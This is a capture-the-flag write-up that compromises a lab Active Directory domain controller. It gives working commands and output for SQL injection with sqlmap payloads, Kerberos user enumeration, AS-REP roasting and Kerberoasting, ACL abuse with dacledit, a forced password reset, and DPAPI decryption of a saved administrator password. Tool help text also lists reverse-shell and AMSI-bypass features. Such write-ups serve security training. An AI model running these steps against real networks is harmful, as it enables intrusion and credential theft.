Gamemaster is an easy Active Directory machine from Kenolab (https://www.kenolab.eu/welcome), created by Anh4ckin and PhoeniX. It involves SQLi, user enumeration, AS-REP roasting with Kerberoasting to get a crackable hash for a service account, ACL abuse and decrypting an RDG file to get the administrator password.

Recon

nmap

We start with a full port scan

Discovered open port 135/tcp on 10.253.163.14
Discovered open port 445/tcp on 10.253.163.14
Discovered open port 53/tcp on 10.253.163.14
Discovered open port 3389/tcp on 10.253.163.14
Discovered open port 80/tcp on 10.253.163.14
Discovered open port 139/tcp on 10.253.163.14
Discovered open port 636/tcp on 10.253.163.14
Discovered open port 88/tcp on 10.253.163.14
Discovered open port 593/tcp on 10.253.163.14
Discovered open port 5985/tcp on 10.253.163.14
Discovered open port 3268/tcp on 10.253.163.14
Discovered open port 3269/tcp on 10.253.163.14
Discovered open port 389/tcp on 10.253.163.14
Discovered open port 5986/tcp on 10.253.163.14
Discovered open port 464/tcp on 10.253.163.14

The open ports show we are dealing with a Domain Controller: DNS (53), Kerberos (88), LDAP (389/636), SMB (445) and WinRM (5985/5986). There is also a web server on port 80, worth a closer look.

I’ll use netexec to generate the hosts file line and add it to /etc/hosts

$ nxc smb 10.253.163.14 --generate-hosts-file hosts
SMB 10.253.163.14 445 NODE13 [*] Windows Server 2022 Build 20348 x64 (name:NODE13) (domain:exit13.bou) (signing:True) (SMBv1:False) (DC:True)

$ cat hosts

10.253.163.14 NODE13.exit13.bou exit13.bou NODE13

SMB

Since we don’t have any credentials yet, we can start by trying to list the SMB shares using null and guest authentication. Both are disabled in this case

$ nxc smb 10.253.163.14 -u '' -p '' --shares
SMB 10.253.163.14 445 NODE13 [*] Windows Server 2022 Build 20348 x64 (name:NODE13) (domain:exit13.bou) (signing:True) (SMBv1:False) (DC:True)

SMB 10.253.163.14 445 NODE13 [-] exit13.bou\: STATUS_ACCESS_DENIED

SMB 10.253.163.14 445 NODE13 [-] Error enumerating shares: Error occurs while reading from remote(104)


$ nxc smb 10.253.163.14 -u 'a' -p '' --shares

SMB 10.253.163.14 445 NODE13 [*] Windows Server 2022 Build 20348 x64 (name:NODE13) (domain:exit13.bou) (signing:True) (SMBv1:False) (DC:True)

SMB 10.253.163.14 445 NODE13 [-] exit13.bou\a: STATUS_LOGON_FAILURE

Port 80

There’s a website on port 80 with a /backups folder, but access to it is forbidden. The /search.asp page looks like a good target for SQL injection so let’s run sqlmap against it

$ sqlmap -u 'http://10.253.163.14/search.asp?q=*' --dump --dbs --batch
___

__H__

___ ___[(]_____ ___ ___ {1.10.10#stable}

|_ -| . [)] | .'| . |

|___|_ [(]_|_|_|__,| _|

|_|V... |_| https://sqlmap.org


...


custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y

[20:53:39] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly

[20:53:39] [INFO] resuming back-end DBMS 'microsoft sql server'

[20:53:39] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDSCAQBBTB=KOLHKGEDLCK...ANOOCDDKPP'). Do you want to use those [Y/n] Y

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)

Payload: http://10.253.163.14/search.asp?q=%';IF(6165=6165) SELECT 6165 ELSE DROP FUNCTION tzbO--


Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

Payload: http://10.253.163.14/search.asp?q=%' AND 5880 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5880=5880) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(122)+CHAR(113))) AND 'aDZO%'='aDZO


Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: http://10.253.163.14/search.asp?q=%';WAITFOR DELAY '0:0:5'--


Type: time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)

Payload: http://10.253.163.14/search.asp?q=%' WAITFOR DELAY '0:0:5'--

---

[20:53:40] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 11 or 2019 or 2022 or 2016 or 10

web application technology: ASP, Microsoft IIS 10.0, Django

back-end DBMS: Microsoft SQL Server 2019

[20:53:40] [INFO] fetching database names

[20:53:40] [INFO] resumed: 'Exit13Site'

[20:53:40] [INFO] resumed: 'master'

[20:53:40] [INFO] resumed: 'model'

[20:53:40] [INFO] resumed: 'msdb'

[20:53:40] [INFO] resumed: 'tempdb'


[SNIP]


[20:53:41] [INFO] resumed: '/backups/backup_20260126-oldsite-frontend.bak'

Database: Exit13Site


[SNIP]

Backup file

Thankfully, that wasn’t complicated, and sqlmap managed to dump the whole database. Nothing looked interesting, like credentials or password hashes, but one thing stood out: a backup file at /backups/backup_20260126-oldsite-frontend.bak. We can try to access it directly with the full url: http://10.253.163.14/backups/backup_20260126-oldsite-frontend.bak. Let’s download it locally

$ curl 'http://10.253.163.14/backups/backup_20260126-oldsite-frontend.bak' -o backup_20260126-oldsite-frontend.bak
% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 3452 100 3452 0 0 21048 0 0

It’s a zip archive containing several pdf files. Nothing looked interesting in them, as they were all dummy text

$ file backup_20260126-oldsite-frontend.bak
backup_20260126-oldsite-frontend.bak: Zip archive data, made by v2.0, extract using at least v2.0, last modified Apr 14 2026 12:38:50, uncompressed size 782, method=deflate

$ 7z l backup_20260126-oldsite-frontend.bak


7-Zip 26.03 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-09-03

64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:4096, ASM


Scanning the drive for archives:

1 file, 3452 bytes (4 KiB)


Listing archive: backup_20260126-oldsite-frontend.bak


--

Path = backup_20260126-oldsite-frontend.bak

Type = zip

Physical Size = 3452


Date Time Attr Size Compressed Name

------------------- ----- ------------ ------------ ------------------------

2026-04-14 12:38:50 ..... 782 418 docs\cast-notes.pdf

2026-04-14 12:38:50 ..... 789 424 docs\launch-campaign.pdf

2026-04-14 12:38:50 ..... 782 418 docs\lighting-ops.pdf

2026-04-14 12:38:50 ..... 789 423 docs\prop-checklist.pdf

2026-04-14 12:38:50 ..... 790 423 docs\safety-guidelines.pdf

2026-04-14 12:38:50 ..... 803 433 docs\server-room-sheet.pdf

2026-04-14 12:38:50 ..... 60 61 README.txt

------------------- ----- ------------ ------------ ------------------------

2026-04-14 12:38:50 4795 2600 7 files

Auth as iis_svc

User enumeration

One useful thing we can pull from those PDFs is the author field, which holds several names we can parse into usernames

$ backup exiftool -s3 -q -Author *.pdf | tee tmp
Victor Nocturne

Julien Roche

Marc Shadow

Alice Grimm

Clara Martin

iis_svc

Since we don’t know the username format, we can use username-anarchy. It takes a list of names in first last format and generates many common username formats, which we can then test with a tool like kerbrute to see which ones are valid

$ backup ~/tools/username-anarchy/username-anarchy --input-file tmp | tee potential.txt

Running kerbrute against the dc with the generated usernames file returned 5 valid users

$ backup kerbrute userenum --dc NODE13.exit13.bou -d exit13.bou potential.txt -o usernames.txt

__ __ __

/ /_____ _____/ /_ _______ __/ /____

/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \

/ ,< / __/ / / /_/ / / / /_/ / /_/ __/

/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/


Version: v1.0.3 (9dad6e1) - 10/31/26 - Ronnie Flathers @ropnop


2026/10/31 20:58:33 > Using KDC(s):

2026/10/31 20:58:33 > NODE13.exit13.bou:88


2026/10/31 20:58:33 > [+] VALID USERNAME: victor.nocturne@exit13.bou

2026/10/31 20:58:34 > [+] VALID USERNAME: alice.grimm@exit13.bou

2026/10/31 20:58:34 > [+] VALID USERNAME: marc.shadow@exit13.bou

2026/10/31 20:58:34 > [+] VALID USERNAME: clara.martin@exit13.bou

2026/10/31 20:58:34 > [+] VALID USERNAME: iis_svc@exit13.bou

2026/10/31 20:58:34 > Done! Tested 75 usernames (5 valid) in 0.808 seconds

Let’s save these usernames into a file

$ backup grep 'VALID USERNAME' usernames.txt | awk '{print $NF}' | cut -d@ -f1
victor.nocturne

alice.grimm

marc.shadow

clara.martin

iis_svc

AS-REP roasting

Now that we have valid usernames, we can try AS-REP roasting to see if any of them are vulnerable

$ GetNPUsers.py exit13.bou/ -dc-ip 10.253.163.14 -usersfile usernames.txt -format john
Impacket v0.14.0.dev0+20261030.132030.c8c1054b - Copyright Fortra, LLC and its affiliated companies


[-] User victor.nocturne doesn't have UF_DONT_REQUIRE_PREAUTH set

[-] User alice.grimm doesn't have UF_DONT_REQUIRE_PREAUTH set

$krb5asrep$marc.shadow@EXIT13.BOU:4d091015474622c8e578525dcc93aff2$661171f0bf8a7fbcd9d389fb3cacae4c9a3a928b14aee77992d7086c862eee6485d20e3c082fcb45de1489eba17ad3269cee2ab478062de82a5e1b859ac241d3a1be58d2f27c6fb1b529a563ae04372a1f33d0cab4ef682d2a977723985aaac36b9ad85389f287e8419a0fe2e2b38793ddaa7abd7cdf425b4cd18c10cc1faf42124751d9a5167c027e588cd1ab1cb6235b97e426c1daca83274e6da16a46e58eb2cb4546eb7a7c9bf186a6ca604b756944d5efcb8b492938dac2d5dceeb29bb252ee14f1ec7da89d862009b6f24ced19b6560c0c0af94851842a1c2941ae801a63e24d7d746e792b

[-] User clara.martin doesn't have UF_DONT_REQUIRE_PREAUTH set

[-] User iis_svc doesn't have UF_DONT_REQUIRE_PREAUTH set

Nice! We got the hash of marc.shadow, so let’s try to crack it with john. Unfortunately, it doesn’t crack

$ j hash
Using default input encoding: UTF-8

Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])

Cost 1 (etype) is 23 for all loaded hashes

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

0g 0:00:00:11 DONE (2026-10-31 21:03) 0g/s 1218Kp/s 1218Kc/s 1218KC/s love..*7¡Vamos!

Session completed

Kerberoasting through AS-REQ

Another thing we can try is this research from Semperis, which shows that an account with DONT_REQUIRE_PREAUTH set can be abused to kerberoast other users. We can do this easily with netexec using the --no-preauth-targets flag

$ nxc ldap exit13.bou -u 'marc.shadow' -p '' --no-preauth-targets usernames.txt --kerberoasting hash.txt
LDAP exit13.bou 389 NODE13 [*] Windows Server 2022 Build 20348 (name:NODE13) (domain:exit13.bou) (signing:None) (channel binding:No TLS cert)

LDAP exit13.bou 389 NODE13 [+] exit13.bou\marc.shadow account vulnerable to asreproast attack

LDAP exit13.bou 389 NODE13 [*] Total of records returned 1

LDAP exit13.bou 389 NODE13 $krb5tgs$23$*iis_svc$EXIT13.BOU$iis_svc*$46bb9088b53de79eddbedc410778feb9$...[SNIP]...

It dumped the hash of the iis_svc user, and this time the hash cracked with john

$ j hash.txt
Using default input encoding: UTF-8

Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

<REDACTED> (?)

1g 0:00:00:00 DONE (2026-10-31 21:04) 20.00g/s 1617Kp/s 1617Kc/s 1617KC/s Brendan..skyla1

Use the "--show" option to display all of the cracked passwords reliably

Session completed

Shell as lucas.morau

BloodHound

With valid credentials in hand, we can run BloodHound to gain a better understanding of the network and the permissions our users have

$ bloodhound-python -c All -w 1 -u 'iis_svc' -p '<REDACTED>' -d exit13.bou --dns-tcp --dns-timeout 300 --zip -ns 10.253.163.14
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)

INFO: Found AD domain: exit13.bou

INFO: Getting TGT for user

INFO: Connecting to LDAP server: node13.exit13.bou

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 1 computers

INFO: Connecting to LDAP server: node13.exit13.bou

INFO: Found 21 users

INFO: Found 55 groups

INFO: Found 2 gpos

INFO: Found 7 ous

INFO: Found 19 containers

INFO: Found 0 trusts

INFO: Starting computer enumeration with 1 workers

INFO: Querying computer: NODE13.exit13.bou

INFO: Done in 00M 17S

INFO: Compressing output into 20261031210515_bloodhound.zip

Looking at BloodHound, we can see that iis_svc has GenericAll over the IT OU
BloodHound showing iis_svc has GenericAll over the IT OU

OU ACL abuse

GenericAll on the OU gives us control of the OU object itself, but not automatically of the objects inside it. To get that, we use Impacket’s dacledit to add an inheritable FullControl ACE for iis_svc (the -inheritance flag), so the rights propagate to the users and groups in the OU.

$ dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal iis_svc -target-dn 'OU=IT,OU=EXIT13,DC=EXIT13,DC=BOU' exit13.bou/iis_svc:<REDACTED>
Impacket v0.14.0.dev0+20261030.132030.c8c1054b - Copyright Fortra, LLC and its affiliated companies


[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU

[*] DACL backed up to dacledit-20261031-210746.bak

[*] DACL modified successfully!

Back in BloodHound, the IT OU contains the Remote_Access group, and lucas.morau is a member of it. Since we granted ourselves FullControl on the OU with an inheritable ACE, that control should propagate to the objects inside it, including lucas.morau.
BloodHound showing the IT OU contains the Remote_Access group

BloodHound showing lucas.morau is a member of Remote_Access

We can verify this with bloodyAD get writable, which lists every object we can modify. The output confirms we now have write access over lucas.morau, including DACL: WRITE and OWNER: WRITE, which effectively means full control of the account.

$ bloodyAD --host 10.253.163.14 -d exit13.bou -u iis_svc -p '<REDACTED>' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=exit13,DC=bou

permission: WRITE


distinguishedName: OU=IT,OU=EXIT13,DC=exit13,DC=bou

permission: CREATE_CHILD; WRITE

OWNER: WRITE

DACL: WRITE


distinguishedName: CN=iis_svc,OU=IT,OU=EXIT13,DC=exit13,DC=bou

permission: CREATE_CHILD; WRITE

OWNER: WRITE

DACL: WRITE


distinguishedName: CN=lucas.morau,OU=IT,OU=EXIT13,DC=exit13,DC=bou

permission: CREATE_CHILD; WRITE

OWNER: WRITE

DACL: WRITE


distinguishedName: DC=exit13.bou,CN=MicrosoftDNS,DC=DomainDnsZones,DC=exit13,DC=bou

permission: CREATE_CHILD


distinguishedName: DC=_msdcs.exit13.bou,CN=MicrosoftDNS,DC=ForestDnsZones,DC=exit13,DC=bou

permission: CREATE_CHILD

lucas.morau is the only user in the OU besides iis_svc that shows up with DACL: WRITE and OWNER: WRITE. The other users are missing, so let’s find out why by listing the OU’s users with their adminCount and group membership:

bloodyAD --host 10.253.163.14 -d exit13.bou -u iis_svc -p '<REDACTED>' get search --base 'OU=IT,OU=EXIT13,DC=exit13,DC=bou' --filter '(objectClass=user)' --attr sAMAccountName,adminCount,memberOf

distinguishedName: CN=iis_svc,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: iis_svc

distinguishedName: CN=sophie.lenoir,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=Remote_Access,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: sophie.lenoir

distinguishedName: CN=thomas.girard,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=Remote_Access,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: thomas.girard

distinguishedName: CN=emilie.dupont,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=Remote_Access,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: emilie.dupont

distinguishedName: CN=nathan.berger,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=Remote_Access,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: nathan.berger

distinguishedName: CN=adm-sophie.lenoir,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=IT_admin,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: adm-sophie.lenoir

distinguishedName: CN=adm-thomas.girard,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=IT_admin,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: adm-thomas.girard

distinguishedName: CN=adm-nathan.berger,OU=IT,OU=EXIT13,DC=exit13,DC=bou
adminCount: 1
memberOf: CN=IT_admin,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: adm-nathan.berger

distinguishedName: CN=lucas.morau,OU=IT,OU=EXIT13,DC=exit13,DC=bou
memberOf: CN=Remote_Access,OU=IT,OU=EXIT13,DC=exit13,DC=bou
sAMAccountName: lucas.morau

Every other user in the OU has adminCount: 1. These are protected accounts (members of privileged groups). They don’t inherit ACEs from their parent OU, which is why the dacledit warning mentioned adminCount=1. lucas.morau and iis_svc are the only ones without it, which makes lucas.morau our target: he is in Remote_Access, which should give us WinRM access.

Password reset

Let’s use bloodyAD to change lucas.morau’s password. GenericAll allows other approaches too (shadow credentials, for example), but I’m lazy and this is the quickest :)

$ bloodyAD --host 10.253.163.14 -u iis_svc -p '<REDACTED>' set password lucas.morau P@ssw0rd
[+] Password changed successfully!

Now let’s connect over WinRM with winrmexec and grab the user flag.

$ evil-winrmexec exit13.bou/lucas.morau:'P@ssw0rd'@10.253.163.14
[*] '-target_ip' not specified, using 10.253.163.14

[*] '-port' not specified, using 5985

[*] '-url' not specified, using http://10.253.163.14:5985/wsman


Ctrl+D to exit, Ctrl+C will try to interrupt the running pipeline gracefully

This is not an interactive shell! If you need to run programs that expect

inputs from stdin, or exploits that spawn cmd.exe, etc., pop a !revshell


Special !bangs:

!download RPATH [LPATH] # downloads a file or directory (as a zip file); use 'PATH'

# if it contains whitespace


!upload [-xor] LPATH [RPATH] # uploads a file; use 'PATH' if it contains whitespace, though use iwr

# if you can reach your ip from the box, because this can be slow;

# use -xor only in conjunction with !psrun/!netrun


!amsi # amsi bypass, run this right after you get a prompt


!psrun [-xor] URL # run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is

# needed unless that script tries to load a .NET assembly; if you can't reach

# your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)


!netrun [-xor] URL [ARG] [ARG] # run .NET assembly from url, use 'ARG' if it contains whitespace;

# !amsi first if you're getting '...program with an incorrect format' errors;

# if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)


!revshell IP PORT # pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you

# you need to run an executable that expects input, try:

# PS> Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"

# PS> Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'


!log # start logging output to winrmexec_[timestamp]_stdout.log

!stoplog # stop logging output to winrmexec_[timestamp]_stdout.log


PS C:\Users\lucas.morau\Documents> cat ..\desktop\flag.txt

KENO{<REDACTED>}

Shell as Administrator

RDCMan file

On the desktop there is a node13.rdg file. This is a Remote Desktop Connection Manager (RDCMan) configuration file that stores saved RDP connections, including usernames and DPAPI-encrypted passwords.

PS C:\Users\lucas.morau\desktop> ls


Directory: C:\Users\lucas.morau\desktop



Mode LastWriteTime Length Name

---- ------------- ------ ----

-a---- 4/10/2026 10:51 AM 37 flag.txt

-a---- 4/10/2026 11:10 AM 2320 Microsoft Edge.lnk

-a---- 4/10/2026 11:15 AM 875 node13.rdg
PS C:\Users\lucas.morau\desktop> cat node13.rdg
<?xml version="1.0" encoding="utf-8"?>

<RDCMan programVersion="3.12" schemaVersion="3">

<file>

<credentialsProfiles />

<properties>

<expanded>True</expanded>

<name>node13</name>

</properties>

<server>

<properties>

<name>NODE13</name>

</properties>

<logonCredentials inherit="None">

<profileName scope="Local">Custom</profileName>

<userName>Administrator</userName>

<password>AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA5U5wjJReC0+K8UQbVFNYOwAAAAACA...[SNIP]...</password>

<domain>exit13</domain>

</logonCredentials>

</server>

</file>

<connected />

<favorites />

<recentlyUsed />

</RDCMan>

DPAPI decryption

The .rdg file stores its saved password as a DPAPI-encrypted blob. DPAPI ties the encryption key to the user who created it, and Windows makes that key available to any process running as that user. Since we are running as lucas.morau, who owns the file, we can decrypt the blob directly from our PowerShell session with ProtectedData.Unprotect and the CurrentUser scope, with no extra tooling and no need to know his password. This reveals the administrator’s password.

PS C:\Users\lucas.morau\desktop> Add-Type -AssemblyName System.Security
PS C:\Users\lucas.morau\desktop> $b = [Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA5U5wjJReC0+K8UQbVFNYOwAAAAACA...[SNIP]...')

PS C:\Users\lucas.morau\desktop> [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($b, $null, 'CurrentUser'))

<REDACTED>

Let’s connect again with winrmexec, this time as the administrator, and grab the root flag.

$ evil-winrmexec exit13.bou/administrator:'<REDACTED>'@10.253.163.14
[*] '-target_ip' not specified, using 10.253.163.14

[*] '-port' not specified, using 5985

[*] '-url' not specified, using http://10.253.163.14:5985/wsman


Ctrl+D to exit, Ctrl+C will try to interrupt the running pipeline gracefully

This is not an interactive shell! If you need to run programs that expect

inputs from stdin, or exploits that spawn cmd.exe, etc., pop a !revshell


Special !bangs:

!download RPATH [LPATH] # downloads a file or directory (as a zip file); use 'PATH'

# if it contains whitespace


!upload [-xor] LPATH [RPATH] # uploads a file; use 'PATH' if it contains whitespace, though use iwr

# if you can reach your ip from the box, because this can be slow;

# use -xor only in conjunction with !psrun/!netrun


!amsi # amsi bypass, run this right after you get a prompt


!psrun [-xor] URL # run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is

# needed unless that script tries to load a .NET assembly; if you can't reach

# your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)


!netrun [-xor] URL [ARG] [ARG] # run .NET assembly from url, use 'ARG' if it contains whitespace;

# !amsi first if you're getting '...program with an incorrect format' errors;

# if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)


!revshell IP PORT # pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you

# you need to run an executable that expects input, try:

# PS> Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"

# PS> Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'


!log # start logging output to winrmexec_[timestamp]_stdout.log

!stoplog # stop logging output to winrmexec_[timestamp]_stdout.log


PS C:\Users\Administrator\Documents> type ..\desktop\flag.txt

KENO{<REDACTED>}